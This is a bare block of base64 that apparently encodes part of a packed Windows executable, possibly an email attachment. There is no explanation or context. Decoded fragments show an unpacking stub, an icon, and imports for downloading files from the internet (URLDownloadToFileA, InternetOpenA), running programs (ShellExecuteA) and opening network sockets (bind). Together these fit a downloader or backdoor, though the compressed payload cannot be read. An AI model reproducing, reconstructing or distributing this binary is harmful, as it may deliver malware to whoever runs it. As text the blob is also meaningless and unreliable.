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 D4oCQogHR0l19+lj////kIsCg8IEiQeDxwSD6QR38QHP6Uz///9eife5BwAAAIoHRyzoPAF3 94A/AHXyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWJ2OLZjb4AwAAAiwcJwHQ8i18EjYQw pOMAAAHzUIPHCP+WgOQAAJWKB0cIwHTciflXSPKuVf+WhOQAAAnAdAeJA4PDBOvh/5aI5AAA YekEbP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 